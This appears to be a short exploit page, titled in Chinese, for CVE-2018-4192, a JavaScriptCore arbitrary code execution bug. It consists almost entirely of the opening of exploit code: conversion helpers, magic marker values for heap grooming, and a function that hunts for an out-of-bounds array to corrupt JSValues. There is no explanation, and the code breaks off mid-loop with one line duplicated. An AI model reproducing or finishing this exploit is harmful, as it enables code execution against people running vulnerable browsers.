CVE-2018-4192_JavaScript_Core任意代碼執行漏洞

# CVE-2018-4192 JavaScript Core任意代碼執行漏洞
==EXP==

// Load Int library, thanks saelo!
load('util.js');
load('int64.js');
 
 
// Helpers to convert from float to in a few random places
var conva = new ArrayBuffer(8);
var convf = new Float64Array(conva);
var convi = new Uint32Array(conva);
var convi8 = new Uint8Array(conva);
 
var floatarr_magic = new Int64('0x3131313131313131').asDouble();
var floatarr_magic = new Int64('0x3131313131313131').asDouble();
var jsval_magic = new Int64('0x3232323232323232').asDouble();
 
var structs = [];
 
function log(x) {
    print(x);
}
 
// Look OOB for array we can use with JSValues
function findArrayOOB(corrupted_arr, groom) {
    log("Looking for JSValue array with OOB Float array");
    for (let i = 0; i